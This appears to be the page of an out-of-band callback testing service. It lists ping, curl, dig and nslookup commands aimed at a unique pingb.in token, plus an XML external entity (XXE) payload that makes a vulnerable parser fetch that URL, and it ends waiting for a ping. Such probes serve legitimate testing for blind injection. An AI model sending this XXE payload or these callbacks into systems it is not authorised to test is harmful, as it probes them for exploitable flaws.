$ ping -c1 -p 00b4389eaee9214e105ea11ad8896b00 pingb.in
 
$ curl pingb.in/p/b4389eaee9214e105ea11ad8896b
 
$ dig b4389eaee9214e105ea11ad8896b @pingb.in
 
$ dig b4389eaee9214e105ea11ad8896b.ns.pingb.in
 
C:\> nslookup b4389eaee9214e105ea11ad8896b pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/b4389eaee9214e105ea11ad8896b">]>
    <foo>&xxe;</foo>
Waiting for ping...